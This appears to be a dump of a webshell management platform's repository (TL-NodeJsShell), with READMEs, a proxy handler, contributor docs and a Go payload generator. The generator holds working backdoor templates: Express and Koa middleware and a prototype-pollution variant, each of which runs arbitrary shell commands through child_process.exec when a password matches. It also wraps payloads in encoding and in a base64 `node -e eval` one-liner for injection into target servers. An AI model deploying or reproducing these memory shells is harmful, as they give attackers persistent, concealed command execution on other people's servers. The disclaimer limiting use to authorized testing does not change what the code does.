| req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0") 105 | 106 | for key, value := range headers { 107 | req.Header.Set(key, value) 108 | } 109 | 110 | if req.Header.Get("Next-Action") == "" { 111 | req.Header.Set("Next-Action", "x") 112 | } 113 | if req.Header.Get("X-Nextjs-Request-Id") == "" { 114 | req.Header.Set("X-Nextjs-Request-Id", fmt.Sprintf("%d", time.Now().Unix())) 115 | } 116 | if req.Header.Get("X-Nextjs-Html-Request-Id") == "" { 117 | req.Header.Set("X-Nextjs-Html-Request-Id", fmt.Sprintf("%016x", time.Now().UnixNano())) 118 | } 119 | 120 | resp, err := client.Do(req) 121 | if err != nil { 122 | return fmt.Errorf("failed to send request: %v", err) 123 | } 124 | defer resp.Body.Close() 125 | 126 | body, err := io.ReadAll(resp.Body) 127 | if err != nil { 128 | return fmt.Errorf("failed to read response: %v", err) 129 | } 130 | 131 | if resp.StatusCode != 200 { 132 | return fmt.Errorf("injection failed with status %d: %s", resp.StatusCode, string(body)) 133 | } 134 | 135 | return nil 136 | } 137 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TL-NodeJsShell
2 | 3 | ![License](https://img.shields.io/badge/license-MIT-blue.svg) 4 | ![Go Version](https://img.shields.io/badge/Go-1.21+-00ADD8?logo=go) 5 | ![Vue Version](https://img.shields.io/badge/Vue-3.3+-4FC08D?logo=vue.js) 6 | ![Platform](https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-lightgrey) 7 | 8 | **现代化的 Node.js WebShell 管理平台** 9 | 10 | **本工具由天禄实验室开发** 11 | 12 | [English](README_EN.md) | 简体中文 13 | 14 |
15 | 16 | --- 17 | 18 | ## 法律免责声明 19 | 20 | **本工具仅用于授权的安全测试和教育目的。** 21 | 22 | - 用户必须在测试任何系统之前获得明确许可 23 | - 未经授权访问计算机系统是非法的 24 | - 用户对自己的行为负全部责任 25 | - 作者不对滥用或损害承担任何责任 26 | 27 | ## 项目简介 28 | 29 | TL-NodeJsShell 是一个为安全专业人员和渗透测试人员设计的综合性 WebShell 管理平台。它提供了一个现代化的 Web 界面,用于管理基于 Node.js 的 Shell,具有内存马注入、命令执行、文件管理和代理支持等高级功能。 30 | 31 | ## 主要特性 32 | 33 | - **内存马注入** 34 | - Express 中间件注入 35 | - Koa 中间件注入 36 | - 原型链污染技术 37 | - 多种编码方式(Base64、XOR、AES) 38 | 39 | - **交互式终端** 40 | - 实时命令执行 41 | - 基于 xterm.js 的虚拟终端 42 | - 命令历史记录 43 | - 多 Shell 管理 44 | 45 | - **文件管理** 46 | - 文件浏览器与目录导航 47 | - 文件上传/下载(支持大文件分块传输) 48 | - 文件预览和编辑 49 | - Monaco 编辑器集成 50 | 51 | - **安全特性** 52 | - 支持多种编码类型 53 | - 自定义 HTTP 头 54 | - 代理支持(HTTP/HTTPS/SOCKS5) 55 | - 密码保护 56 | 57 | - **现代化界面** 58 | - Vue 3 + TypeScript 前端 59 | - Element Plus 组件库 60 | - 响应式设计 61 | - 实时状态监控 62 | 63 | ## 截图展示 64 | 65 |
66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 |
77 | 78 | ## 项目架构 79 | 80 | ``` 81 | TL-NodeJsShell/ 82 | ├── server/ # Go 后端服务器 83 | │ ├── cmd/ # 入口文件 84 | │ ├── internal/ # 内部逻辑 85 | │ │ ├── app/ # 应用核心 86 | │ │ ├── config/ # 配置 87 | │ │ ├── core/ # 核心功能 88 | │ │ ├── database/ # 数据库模型 89 | │ │ └── handlers/ # HTTP 处理器 90 | │ └── go.mod 91 | ├── web/ # Vue.js 前端 92 | │ ├── src/ 93 | │ │ ├── api/ # API 客户端 94 | │ │ ├── components/ # Vue 组件 95 | │ │ ├── router/ # Vue 路由 96 | │ │ ├── stores/ # Pinia 状态管理 97 | │ │ ├── types/ # TypeScript 类型 98 | │ │ └── views/ # 页面视图 99 | │ └── public/ # 静态资源 100 | └── docs/ # 文档资源 101 | ``` 102 | 103 | ## 快速开始 104 | 105 | ### 环境要求 106 | 107 | - Go 1.21 或更高版本 108 | - Node.js 16 或更高版本 109 | - npm 或 yarn 110 | 111 | ### 安装步骤 112 | 113 | 1. **克隆仓库** 114 | ```bash 115 | git clone https://github.com/tianlusec/TL-NodeJsShell.git 116 | cd TL-NodeJsShell 117 | ``` 118 | 119 | 2. **构建并运行后端** 120 | ```bash 121 | cd server 122 | go mod download 123 | go build -o NodeJsshell cmd/api/main.go 124 | ./NodeJsshell 125 | ``` 126 | 127 | 3. **构建并运行前端** 128 | ```bash 129 | cd web 130 | npm install 131 | npm run build 132 | ``` 133 | 134 | 4. **访问应用** 135 | ``` 136 | 在浏览器中打开: http://localhost:8080 137 | ``` 138 | 139 | ### 开发模式 140 | 141 | **后端:** 142 | ```bash 143 | cd server 144 | go run cmd/api/main.go 145 | ``` 146 | 147 | **前端:** 148 | ```bash 149 | cd web 150 | npm run dev 151 | ``` 152 | 153 | ## 使用说明 154 | 155 | ### 1. 添加 Shell 156 | 157 | - 导航到 Shell 管理器 158 | - 点击"添加 Shell" 159 | - 配置: 160 | - 目标 URL 161 | - 密码 162 | - 编码类型(Base64/XOR/AES) 163 | - HTTP 方法(GET/POST) 164 | - 可选:代理设置 165 | - 可选:自定义请求头 166 | 167 | ### 2. 管理 Shell 168 | 169 | - 查看所有已连接的 Shell 170 | - 测试连接状态 171 | - 查看系统信息 172 | - 监控延迟 173 | 174 | ### 3. 执行命令 175 | 176 | - 选择一个 Shell 177 | - 使用虚拟终端 178 | - 实时执行命令 179 | - 查看命令历史 180 | 181 | ### 4. 文件操作 182 | 183 | - 浏览远程文件系统 184 | - 上传文件(大文件支持分块传输) 185 | - 下载文件 186 | - 预览和编辑文件 187 | 188 | ### 5. Payload 生成 189 | 190 | - 选择模板类型 191 | - 配置编码方式 192 | - 生成 Payload 193 | - 复制并部署 194 | 195 | ## 配置说明 196 | 197 | 后端配置位于 `server/internal/config/config.go`: 198 | 199 | ```go 200 | type Config struct { 201 | Port string // 默认: "8080" 202 | Host string // 默认: "0.0.0.0" 203 | } 204 | ``` 205 | 206 | ## 技术栈 207 | 208 | **后端:** 209 | - Go 1.21+ 210 | - Gin Web 框架 211 | - GORM (SQLite) 212 | - Gorilla WebSocket 213 | 214 | **前端:** 215 | - Vue 3 216 | - TypeScript 217 | - Element Plus 218 | - Vite 219 | - Pinia(状态管理) 220 | - Vue Router 221 | - Axios 222 | - xterm.js 223 | - Monaco Editor 224 | 225 | ## 文档 226 | 227 | - [安装指南](docs/INSTALLATION.md) 228 | - [API 文档](docs/API.md) 229 | - [安全策略](docs/SECURITY.md) 230 | - [贡献指南](.github/CONTRIBUTING.md) 231 | - [项目结构](PROJECT_STRUCTURE.md) 232 | 233 | ## 贡献指南 234 | 235 | 欢迎贡献!请阅读 [CONTRIBUTING.md](.github/CONTRIBUTING.md) 了解我们的行为准则和提交拉取请求的流程。 236 | 237 | ## 许可证 238 | 239 | 本项目采用 MIT 许可证 - 详见 [LICENSE](LICENSE) 文件。 240 | 241 | ## 致谢 242 | 243 | - 感谢所有贡献者 244 | - 受各种 WebShell 管理工具启发 245 | - 使用现代 Web 技术构建 246 | 247 | ## 联系方式 248 | 249 | - GitHub: [@tianlusec](https://github.com/tianlusec) 250 | - Issues: [GitHub Issues](https://github.com/tianlusec/TL-NodeJsShell/issues) 251 | 252 | --- 253 | 254 |
255 | 256 | ** 如果这个项目对你有帮助,请给它一个星标!** 257 | 258 |
259 | -------------------------------------------------------------------------------- /server/internal/handlers/proxyHandler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "io" 5 | "net/http" 6 | "NodeJsshell/internal/core/proxy" 7 | "NodeJsshell/internal/core/transport" 8 | "NodeJsshell/internal/database" 9 | "github.com/gin-gonic/gin" 10 | ) 11 | 12 | type ProxyHandler struct { 13 | db *database.DB 14 | } 15 | 16 | func NewProxyHandler(db *database.DB) *ProxyHandler { 17 | return &ProxyHandler{db: db} 18 | } 19 | 20 | func (h *ProxyHandler) List(c *gin.Context) { 21 | var proxies []database.Proxy 22 | if err := h.db.Find(&proxies).Error; err != nil { 23 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 24 | return 25 | } 26 | c.JSON(http.StatusOK, proxies) 27 | } 28 | 29 | func (h *ProxyHandler) Create(c *gin.Context) { 30 | var req struct { 31 | Name string `json:"name" binding:"required"` 32 | Type string `json:"type" binding:"required"` 33 | Host string `json:"host" binding:"required"` 34 | Port int `json:"port" binding:"required"` 35 | Username string `json:"username"` 36 | Password string `json:"password"` 37 | Enabled bool `json:"enabled"` 38 | } 39 | if err := c.ShouldBindJSON(&req); err != nil { 40 | c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) 41 | return 42 | } 43 | proxy := database.Proxy{ 44 | Name: req.Name, 45 | Type: req.Type, 46 | Host: req.Host, 47 | Port: req.Port, 48 | Username: req.Username, 49 | Password: req.Password, 50 | Enabled: req.Enabled, 51 | } 52 | if err := h.db.Create(&proxy).Error; err != nil { 53 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 54 | return 55 | } 56 | c.JSON(http.StatusCreated, proxy) 57 | } 58 | 59 | func (h *ProxyHandler) Update(c *gin.Context) { 60 | id := c.Param("id") 61 | var proxy database.Proxy 62 | if err := h.db.First(&proxy, id).Error; err != nil { 63 | c.JSON(http.StatusNotFound, gin.H{"error": "Proxy not found"}) 64 | return 65 | } 66 | var req struct { 67 | Name string `json:"name"` 68 | Type string `json:"type"` 69 | Host string `json:"host"` 70 | Port int `json:"port"` 71 | Username string `json:"username"` 72 | Password string `json:"password"` 73 | Enabled *bool `json:"enabled"` 74 | } 75 | if err := c.ShouldBindJSON(&req); err != nil { 76 | c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) 77 | return 78 | } 79 | if req.Name != "" { 80 | proxy.Name = req.Name 81 | } 82 | if req.Type != "" { 83 | proxy.Type = req.Type 84 | } 85 | if req.Host != "" { 86 | proxy.Host = req.Host 87 | } 88 | if req.Port > 0 { 89 | proxy.Port = req.Port 90 | } 91 | if req.Username != "" { 92 | proxy.Username = req.Username 93 | } 94 | if req.Password != "" { 95 | proxy.Password = req.Password 96 | } 97 | if req.Enabled != nil { 98 | proxy.Enabled = *req.Enabled 99 | } 100 | if err := h.db.Save(&proxy).Error; err != nil { 101 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 102 | return 103 | } 104 | c.JSON(http.StatusOK, proxy) 105 | } 106 | 107 | func (h *ProxyHandler) Delete(c *gin.Context) { 108 | id := c.Param("id") 109 | if err := h.db.Delete(&database.Proxy{}, id).Error; err != nil { 110 | c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) 111 | return 112 | } 113 | c.JSON(http.StatusOK, gin.H{"message": "Proxy deleted"}) 114 | } 115 | 116 | func (h *ProxyHandler) Test(c *gin.Context) { 117 | id := c.Param("id") 118 | var proxyConfig database.Proxy 119 | if err := h.db.First(&proxyConfig, id).Error; err != nil { 120 | c.JSON(http.StatusNotFound, gin.H{"error": "Proxy not found"}) 121 | return 122 | } 123 | proxyCfg := &proxy.ProxyConfig{ 124 | Type: proxyConfig.Type, 125 | Host: proxyConfig.Host, 126 | Port: proxyConfig.Port, 127 | Username: proxyConfig.Username, 128 | Password: proxyConfig.Password, 129 | } 130 | httpClient, err := transport.NewHTTPClientWithProxy(proxyCfg) 131 | if err != nil { 132 | c.JSON(http.StatusOK, gin.H{ 133 | "success": false, 134 | "error": err.Error(), 135 | }) 136 | return 137 | } 138 | 139 | // 创建测试请求:GET /ip HTTP/1.1 140 | testURL := "http://httpbin.org/ip" 141 | req, err := http.NewRequest("GET", testURL, nil) 142 | if err != nil { 143 | c.JSON(http.StatusOK, gin.H{ 144 | "success": false, 145 | "error": "Failed to create request: " + err.Error(), 146 | }) 147 | return 148 | } 149 | 150 | // 设置请求头 151 | req.Header.Set("Host", "httpbin.org") 152 | req.Header.Set("Content-Type", "application/json") 153 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") 154 | 155 | // 发送请求 156 | resp, err := httpClient.GetClient().Do(req) 157 | if err != nil { 158 | c.JSON(http.StatusOK, gin.H{ 159 | "success": false, 160 | "error": "Failed to send request: " + err.Error(), 161 | }) 162 | return 163 | } 164 | defer resp.Body.Close() 165 | 166 | // 读取响应 167 | body, err := io.ReadAll(resp.Body) 168 | if err != nil { 169 | c.JSON(http.StatusOK, gin.H{ 170 | "success": false, 171 | "error": "Failed to read response: " + err.Error(), 172 | }) 173 | return 174 | } 175 | 176 | c.JSON(http.StatusOK, gin.H{ 177 | "success": resp.StatusCode == http.StatusOK, 178 | "statusCode": resp.StatusCode, 179 | "data": string(body), 180 | "headers": resp.Header, 181 | }) 182 | } 183 | 184 | -------------------------------------------------------------------------------- /.github/CODE_OF_CONDUCT_EN.md: -------------------------------------------------------------------------------- 1 | # Code of Conduct 2 | 3 | English | [简体中文](CODE_OF_CONDUCT.md) 4 | 5 | ## Our Pledge 6 | 7 | We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. 8 | 9 | We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. 10 | 11 | ## Our Standards 12 | 13 | Examples of behavior that contributes to a positive environment for our community include: 14 | 15 | * Demonstrating empathy and kindness toward other people 16 | * Being respectful of differing opinions, viewpoints, and experiences 17 | * Giving and gracefully accepting constructive feedback 18 | * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience 19 | * Focusing on what is best not just for us as individuals, but for the overall community 20 | 21 | Examples of unacceptable behavior include: 22 | 23 | * The use of sexualized language or imagery, and sexual attention or advances of any kind 24 | * Trolling, insulting or derogatory comments, and personal or political attacks 25 | * Public or private harassment 26 | * Publishing others' private information, such as a physical or email address, without their explicit permission 27 | * Other conduct which could reasonably be considered inappropriate in a professional setting 28 | 29 | ## Enforcement Responsibilities 30 | 31 | Project maintainers are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. 32 | 33 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. 34 | 35 | ## Scope 36 | 37 | This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. 38 | 39 | ## Enforcement 40 | 41 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the project maintainers responsible for enforcement at the project's GitHub repository. All complaints will be reviewed and investigated promptly and fairly. 42 | 43 | All project maintainers are obligated to respect the privacy and security of the reporter of any incident. 44 | 45 | ## Enforcement Guidelines 46 | 47 | Project maintainers will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: 48 | 49 | ### 1. Correction 50 | 51 | **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. 52 | 53 | **Consequence**: A private, written warning from project maintainers, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. 54 | 55 | ### 2. Warning 56 | 57 | **Community Impact**: A violation through a single incident or series of actions. 58 | 59 | **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. 60 | 61 | ### 3. Temporary Ban 62 | 63 | **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. 64 | 65 | **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. 66 | 67 | ### 4. Permanent Ban 68 | 69 | **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. 70 | 71 | **Consequence**: A permanent ban from any sort of public interaction within the community. 72 | 73 | ## Attribution 74 | 75 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 76 | 77 | Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). 78 | 79 | [homepage]: https://www.contributor-covenant.org 80 | 81 | For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. -------------------------------------------------------------------------------- /.github/CONTRIBUTING_EN.md: -------------------------------------------------------------------------------- 1 | # Contributing to TL-NodeJsShell 2 | 3 | English | [简体中文](CONTRIBUTING.md) 4 | 5 | --- 6 | 7 | Thank you for your interest in contributing to TL-NodeJsShell! This document provides guidelines for contributing to the project. 8 | 9 | ## Code of Conduct 10 | 11 | By participating in this project, you agree to maintain a respectful and inclusive environment for all contributors. 12 | 13 | ## How to Contribute 14 | 15 | ### Reporting Bugs 16 | 17 | Before creating a bug report, please check existing issues to avoid duplicates. 18 | 19 | **When reporting a bug, include:** 20 | - Clear and descriptive title 21 | - Steps to reproduce the issue 22 | - Expected behavior 23 | - Actual behavior 24 | - Screenshots (if applicable) 25 | - Environment details (OS, Go version, Node.js version) 26 | - Error messages or logs 27 | 28 | ### Suggesting Enhancements 29 | 30 | Enhancement suggestions are welcome! Please provide: 31 | - Clear description of the enhancement 32 | - Use cases and benefits 33 | - Possible implementation approach 34 | - Any relevant examples or mockups 35 | 36 | ### Pull Requests 37 | 38 | 1. **Fork the repository** 39 | ```bash 40 | git clone https://github.com/YOUR_USERNAME/TL-NodeJsShell.git 41 | cd TL-NodeJsShell 42 | ``` 43 | 44 | 2. **Create a feature branch** 45 | ```bash 46 | git checkout -b feature/your-feature-name 47 | ``` 48 | 49 | 3. **Make your changes** 50 | - Follow the coding standards 51 | - Write clear commit messages 52 | - Add tests if applicable 53 | - Update documentation 54 | 55 | 4. **Test your changes** 56 | ```bash 57 | # Backend tests 58 | cd backend 59 | go test ./... 60 | 61 | # Frontend tests 62 | cd frontend 63 | npm run test 64 | ``` 65 | 66 | 5. **Commit your changes** 67 | ```bash 68 | git add . 69 | git commit -m "feat: add your feature description" 70 | ``` 71 | 72 | 6. **Push to your fork** 73 | ```bash 74 | git push origin feature/your-feature-name 75 | ``` 76 | 77 | 7. **Create a Pull Request** 78 | - Provide a clear description of changes 79 | - Reference any related issues 80 | - Ensure all tests pass 81 | 82 | ## Coding Standards 83 | 84 | ### Go (Backend) 85 | 86 | - Follow [Effective Go](https://golang.org/doc/effective_go.html) guidelines 87 | - Use `gofmt` for code formatting 88 | - Write meaningful variable and function names 89 | - Add comments for complex logic 90 | - Keep functions focused and concise 91 | 92 | **Example:** 93 | ```go 94 | // GetShellByID retrieves a shell configuration by its ID 95 | func (h *ShellHandler) GetShellByID(id uint) (*database.Shell, error) { 96 | var shell database.Shell 97 | if err := h.db.First(&shell, id).Error; err != nil { 98 | return nil, fmt.Errorf("shell not found: %w", err) 99 | } 100 | return &shell, nil 101 | } 102 | ``` 103 | 104 | ### TypeScript/Vue (Frontend) 105 | 106 | - Follow [Vue.js Style Guide](https://vuejs.org/style-guide/) 107 | - Use TypeScript for type safety 108 | - Use composition API for Vue components 109 | - Follow ESLint rules 110 | - Write self-documenting code 111 | 112 | **Example:** 113 | ```typescript 114 | // Define clear interfaces 115 | interface ShellConfig { 116 | id: number 117 | url: string 118 | password: string 119 | encodeType: string 120 | } 121 | 122 | // Use composition API 123 | const { shells, loading, error } = useShells() 124 | ``` 125 | 126 | ### Commit Message Convention 127 | 128 | Follow [Conventional Commits](https://www.conventionalcommits.org/): 129 | 130 | - `feat:` New feature 131 | - `fix:` Bug fix 132 | - `docs:` Documentation changes 133 | - `style:` Code style changes (formatting, etc.) 134 | - `refactor:` Code refactoring 135 | - `test:` Adding or updating tests 136 | - `chore:` Maintenance tasks 137 | 138 | **Examples:** 139 | ``` 140 | feat: add proxy authentication support 141 | fix: resolve file upload chunking issue 142 | docs: update API documentation 143 | refactor: improve error handling in shell handler 144 | ``` 145 | 146 | ## Project Structure 147 | 148 | ``` 149 | TL-NodeJsShell/ 150 | ├── backend/ 151 | │ ├── app/ # Application initialization 152 | │ ├── config/ # Configuration management 153 | │ ├── core/ # Core business logic 154 | │ ├── database/ # Database models and operations 155 | │ ├── handlers/ # HTTP request handlers 156 | │ └── main.go # Entry point 157 | ├── frontend/ 158 | │ ├── src/ 159 | │ │ ├── api/ # API client functions 160 | │ │ ├── components/ # Reusable Vue components 161 | │ │ ├── views/ # Page components 162 | │ │ ├── stores/ # Pinia state management 163 | │ │ └── router/ # Vue Router configuration 164 | │ └── public/ # Static assets 165 | └── docs/ # Documentation 166 | ``` 167 | 168 | ## Development Setup 169 | 170 | ### Backend Development 171 | 172 | ```bash 173 | cd backend 174 | go mod download 175 | go run main.go 176 | ``` 177 | 178 | ### Frontend Development 179 | 180 | ```bash 181 | cd frontend 182 | npm install 183 | npm run dev 184 | ``` 185 | 186 | ## Testing 187 | 188 | ### Backend Tests 189 | 190 | ```bash 191 | cd backend 192 | go test ./... -v 193 | go test -cover ./... 194 | ``` 195 | 196 | ### Frontend Tests 197 | 198 | ```bash 199 | cd frontend 200 | npm run test 201 | npm run test:coverage 202 | ``` 203 | 204 | ## Documentation 205 | 206 | - Update README.md for user-facing changes 207 | - Update API documentation in docs/API.md 208 | - Add inline comments for complex code 209 | - Update CHANGELOG.md for notable changes 210 | 211 | ## Security 212 | 213 | - **Never commit sensitive data** (passwords, keys, tokens) 214 | - Report security vulnerabilities privately 215 | - Follow secure coding practices 216 | - Validate all user inputs 217 | 218 | ## Questions? 219 | 220 | Feel free to: 221 | - Open an issue for discussion 222 | - Join our community discussions 223 | - Contact maintainers directly 224 | 225 | --- 226 | 227 |
228 | 229 | **Thank you for contributing!** 230 | 231 |
-------------------------------------------------------------------------------- /server/internal/core/payload/generator.go: -------------------------------------------------------------------------------- 1 | package payload 2 | 3 | import ( 4 | "NodeJsshell/internal/core/crypto" 5 | "encoding/base64" 6 | "fmt" 7 | "io/ioutil" 8 | "os" 9 | "path/filepath" 10 | "strings" 11 | ) 12 | 13 | type MemoryShellTemplate struct { 14 | Name string 15 | Description string 16 | Code string 17 | } 18 | 19 | func GetTemplates() []MemoryShellTemplate { 20 | templates := []MemoryShellTemplate{ 21 | { 22 | Name: "express-middleware", 23 | Description: "Express中间件注入", 24 | Code: getExpressMiddlewareTemplate(), 25 | }, 26 | { 27 | Name: "koa-middleware", 28 | Description: "Koa中间件注入", 29 | Code: getKoaMiddlewareTemplate(), 30 | }, 31 | { 32 | Name: "prototype-pollution", 33 | Description: "原型链污染", 34 | Code: getPrototypePollutionTemplate(), 35 | }, 36 | } 37 | functionTemplates := loadFunctionTemplates() 38 | templates = append(templates, functionTemplates...) 39 | return templates 40 | } 41 | 42 | func GeneratePayload(templateName string, password string, encodeType string, layers int) (string, error) { 43 | templates := GetTemplates() 44 | var template *MemoryShellTemplate 45 | for _, t := range templates { 46 | if t.Name == templateName { 47 | template = &t 48 | break 49 | } 50 | } 51 | if template == nil { 52 | return "", fmt.Errorf("template not found: %s", templateName) 53 | } 54 | code := strings.ReplaceAll(template.Code, "{{PASSWORD}}", password) 55 | var encoded string 56 | switch encodeType { 57 | case "base64": 58 | encoded = crypto.Base64Encode(code, layers) 59 | case "xor": 60 | encoded = crypto.XOREncode(code, password, layers) 61 | case "aes": 62 | key := []byte(password) 63 | if len(key) < 32 { 64 | for len(key) < 32 { 65 | key = append(key, 0) 66 | } 67 | } else { 68 | key = key[:32] 69 | } 70 | var err error 71 | encoded, err = crypto.AESEncrypt(code, key) 72 | if err != nil { 73 | return "", err 74 | } 75 | default: 76 | encoded = base64.StdEncoding.EncodeToString([]byte(code)) 77 | } 78 | return encoded, nil 79 | } 80 | 81 | func loadFunctionTemplates() []MemoryShellTemplate { 82 | var templates []MemoryShellTemplate 83 | templateDir := "internal/core/payload/templates" 84 | if _, err := os.Stat(templateDir); os.IsNotExist(err) { 85 | // Fallback for when running from root or different structure 86 | templateDir = "server/internal/core/payload/templates" 87 | } 88 | 89 | files, err := ioutil.ReadDir(templateDir) 90 | if err != nil { 91 | fmt.Printf("Error reading template directory: %v\n", err) 92 | return nil 93 | } 94 | for _, file := range files { 95 | if !file.IsDir() && strings.HasSuffix(file.Name(), ".js.tpl") { 96 | name := strings.TrimSuffix(file.Name(), ".js.tpl") 97 | filePath := filepath.Join(templateDir, file.Name()) 98 | content, err := ioutil.ReadFile(filePath) 99 | if err != nil { 100 | fmt.Printf("Error reading template file %s: %v\n", filePath, err) 101 | continue 102 | } 103 | templates = append(templates, MemoryShellTemplate{ 104 | Name: name, 105 | Description: fmt.Sprintf("%s功能模板", name), 106 | Code: string(content), 107 | }) 108 | } 109 | } 110 | return templates 111 | } 112 | 113 | func GenerateFunctionTemplate(functionName string, params map[string]string) (string, error) { 114 | templateDir := "internal/core/payload/templates" 115 | if _, err := os.Stat(templateDir); os.IsNotExist(err) { 116 | templateDir = "server/internal/core/payload/templates" 117 | } 118 | templateFile := filepath.Join(templateDir, functionName+".js.tpl") 119 | 120 | content, err := ioutil.ReadFile(templateFile) 121 | if err != nil { 122 | if os.IsNotExist(err) { 123 | return "", fmt.Errorf("template file not found: %s", templateFile) 124 | } 125 | return "", fmt.Errorf("failed to read template: %v", err) 126 | } 127 | 128 | template := string(content) 129 | 130 | template = strings.ReplaceAll(template, "\r\n", "\n") 131 | template = strings.ReplaceAll(template, "\r", "\n") 132 | 133 | for key, value := range params { 134 | placeholder := fmt.Sprintf("{{%s}}", strings.ToUpper(key)) 135 | template = strings.ReplaceAll(template, placeholder, value) 136 | } 137 | 138 | template = strings.TrimSpace(template) 139 | 140 | templateBytes := []byte(template) 141 | base64Code := base64.StdEncoding.EncodeToString(templateBytes) 142 | 143 | code := fmt.Sprintf(`node -e "eval(Buffer.from('%s', 'base64').toString('utf8'))"`, base64Code) 144 | 145 | return code, nil 146 | } 147 | 148 | func getExpressMiddlewareTemplate() string { 149 | return ` 150 | (function(){ 151 | var password = "{{PASSWORD}}"; 152 | var express = require('express'); 153 | var app = express(); 154 | app.use(function(req, res, next) { 155 | if (req.query.p && req.query.p === password) { 156 | var cmd = req.query.cmd || req.body.cmd; 157 | if (cmd) { 158 | var exec = require('child_process').exec; 159 | exec(cmd, {maxBuffer: 104857600, encoding: 'buffer'}, function(err, stdout, stderr) { 160 | res.send((stdout ? stdout.toString('utf8') : '') + (stderr ? stderr.toString('utf8') : '')); 161 | }); 162 | return; 163 | } 164 | } 165 | next(); 166 | }); 167 | })(); 168 | ` 169 | } 170 | 171 | func getKoaMiddlewareTemplate() string { 172 | return ` 173 | (function(){ 174 | var password = "{{PASSWORD}}"; 175 | var Koa = require('koa'); 176 | if (typeof global.koaApp !== 'undefined') { 177 | global.koaApp.use(async function(ctx, next) { 178 | if (ctx.query.p && ctx.query.p === password) { 179 | var cmd = ctx.query.cmd || ctx.request.body.cmd; 180 | if (cmd) { 181 | var exec = require('child_process').exec; 182 | var result = await new Promise(function(resolve) { 183 | exec(cmd, {maxBuffer: 104857600, encoding: 'buffer'}, function(err, stdout, stderr) { 184 | resolve((stdout ? stdout.toString('utf8') : '') + (stderr ? stderr.toString('utf8') : '')); 185 | }); 186 | }); 187 | ctx.body = result; 188 | return; 189 | } 190 | } 191 | await next(); 192 | }); 193 | } 194 | })(); 195 | ` 196 | } 197 | 198 | func getPrototypePollutionTemplate() string { 199 | return ` 200 | (function(){ 201 | var password = "{{PASSWORD}}"; 202 | Object.prototype.p = password; 203 | Object.prototype.cmd = function() { 204 | if (this.p === password && this.cmd) { 205 | var exec = require('child_process').exec; 206 | exec(this.cmd, {maxBuffer: 104857600, encoding: 'buffer'}, function(err, stdout, stderr) { 207 | console.log((stdout ? stdout.toString('utf8') : '') + (stderr ? stderr.toString('utf8') : '')); 208 | }); 209 | } 210 | }; 211 | })(); 212 | ` 213 | } 214 | -------------------------------------------------------------------------------- /README_EN.md: -------------------------------------------------------------------------------- 1 | # TL-NodeJsShell
2 | 3 | ![License](https://img.shields.io/badge/license-MIT-blue.svg) 4 | ![Go Version](https://img.shields.io/badge/Go-1.21+-00ADD8?logo=go) 5 | ![Vue Version](https://img.shields.io/badge/Vue-3.3+-4FC08D?logo=vue.js) 6 | ![Platform](https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-lightgrey) 7 | 8 | **A Modern Node.js WebShell Management Platform** 9 | 10 | **Developed by Tianlu Laboratory** 11 | 12 | English | [简体中文](README.md) 13 | 14 |
